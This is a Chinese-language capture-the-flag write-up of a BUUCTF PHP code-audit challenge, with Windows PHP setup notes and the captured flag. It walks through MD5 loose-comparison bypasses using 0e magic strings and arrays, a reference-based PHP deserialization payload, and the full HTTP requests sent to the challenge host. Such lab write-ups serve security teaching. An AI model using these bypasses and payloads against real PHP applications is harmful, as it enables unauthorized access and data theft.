一、题面
访问服务器,返回一段php代码,考察代码审计。
二、分析
2.1 代码审计
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
分析代码要想获得flag需要满足如下的条件:
1)传递GET参数 pleaseget=1,传递POST参数pleasepost=2
2)传递两个POST参数md51和md52,两个值不同,但是md5()结果弱相等。
3)然后专递POST参数obj,通过反序列化之后,correct的值===input的值。
前两个条件比较容易,第三个条件如何构建呢?
base64_encode(uniqid())
的作用是生成一个唯一的 ID,然后将其转换为 Base64 编码的字符串。如何让input的值===correct的值呢?
为了测试BUU类序列化后的内容,在win10上安装php:
win10安装php
1、访问PHP for Windows官网,下载x64 Thread Safe的ZIP安装包。
2、解压安装包,并配置环境变量。
- 右键点击“此电脑”或“我的电脑”,选择“属性”。
- 点击“高级系统设置”。
- 在“系统属性”窗口中,点击“环境变量”按钮。
- 在“系统变量”区域找到“Path”变量,点击“编辑”。
- 在编辑窗口中点击“新建”,然后添加PHP的安装目录(例如
D:\php
)和PHP的扩展目录(例如D:\php\ext
)。![]()
3、配置php.ini文件:php.ini是PHP的配置文件,主要用于控制PHP解释器的行为和功能。
在解压文件夹中找到php.ini-development,它一般用于开发环境,将文件重命名为php.ini。
4、验证是否安装成功:同时按下
Win+R键
输入cmd
打开命令行,在命令行输入php -v
,如果出现如下所示的信息,则表示安装成功。 报错:
PHP Warning: ‘C:\Windows\SYSTEM32\VCRUNTIME140.dll’ 14.36 is not compatible with this PHP build linked with 14.42 in Unknown on line 0
原因是VCRUNTIME140.dll与PHP版本不兼容。
两种解决方法:
1)需要访问下载 Windows 版和 Mac 版 Visual Studio 2019进行下载。
![]()
安装完毕从新启动即可。
2)下载安装老版本的php,比如php7。
https://windows.php.net/downloads/releases/archives/ 这里有以往的php版本。
![]()
这里我选择了php 7.3.30,没什么理由,看着顺眼。同样的操作安装一下。
![]()
测试一下,安装成功了。
![]()
2.2 BUU类分析
编写php测试代码:
<?php
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$obj = new BUU();
$serialize_obj=serialize($obj);
echo $serialize_obj."\n\n";
echo "----------------------------------------\n";
$obj_str='O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:0:"";}';
$obj2= unserialize($obj_str);
var_dump($obj2)
?>
序列化空对象后的字符串:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:0:"";}
反序列化后var_dump输出的对象:
object(BUU)#2 (2) {
["correct"]=>
string(0) ""
["input"]=>
string(0) ""
}
如何才能让对象析构的时候correct的值和input的值相同呢?
核心:让input的值指向correct
。**(借助外部提示)**
$obj->input = &$obj->correct;
2.3 input==correct的条件
<?php
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$obj = new BUU();
$obj->input = &$obj->correct;
$serialize_obj=serialize($obj);
echo $serialize_obj."\n\n";
echo "----------------------------------------\n";
//$obj_str='O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:3:"ABC";}';
//$obj2= unserialize($obj_str);
//var_dump($obj2)
?>
序列化后的内容如下:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
s:5:"input";R:2;
s:5:"input";
表示一个字符串属性,属性名是input
,长度是 5 个字符。R:2;
表示input
的值是一个引用,引用的是序列化字符串中的第 2 个元素。这里的第 2 个元素是s:0:"";
,即空字符串。
input的值引用了correct的值,所以两者自然相等,所以能触发file_get_contents读取flag的执行,因为我本地电脑并没有flag文件,所以报了异常而已,但是说明input===correct的判断已经绕过。
2.4 md5弱类型绕过
2.4.1 方法一:0e字符串
QNKCDZO
s155964671a
s1091221200a
这几个字符串的md5值是0e开头的,0e开头的字符串会被当做科学计数法处理,0的指数仍然是0,0exxxxxx==0eyyyyyyyy。
2.4.2 方法二:数组绕过
MD5处理数组时返回null。
md51[]=1,md52[]=2,两个数数据虽然不相等,但是这两个数组经过md5()函数处理都是null,所以md5(md51[])==md5(md51[])。
三、解题
3.1 payload构造
经过上面的分析,可以构造请求了。访问首页,抓包,然后添加GET和POST参数。
GET /?pleaseget=1 HTTP/1.1
Host: 00b7e378-1421-4a1e-adbc-eb44ad7c9d95.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
但是没有拿到flag。
注意,请求改成POST,但还是没拿到,奇怪了。
POST /?pleaseget=1 HTTP/1.1
Host: 00b7e378-1421-4a1e-adbc-eb44ad7c9d95.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
改成数组也无法获取flag。
什么问题呢?
- 分析是请求头不对
要加上Content-Type: application/x-www-form-urlencoded
成功拿到flag。
但是为什么一定要加这个头呢?
当请求头中包含
Content-Type: application/x-www-form-urlencoded
时,请求体中的数据会被编码为键值对的形式,每个键值对之间用&
分隔,键和值之间用=
分隔。例如:key1=value1&key2=value2
这种格式的数据易于解析,服务器端可以通过标准的表单解析工具来处理这些数据。
为了保证数据能够被正确解析,建议始终显式设置
Content-Type
请求头。
flag
flag{f7e4f1ea-9861-4c2d-8b3a-7eaf75a7b82b}
总结
本文主要考察代码审计,核心考点:1)md5()弱类型比较-0e字符串/数组绕过;2)PHP反序列化漏洞。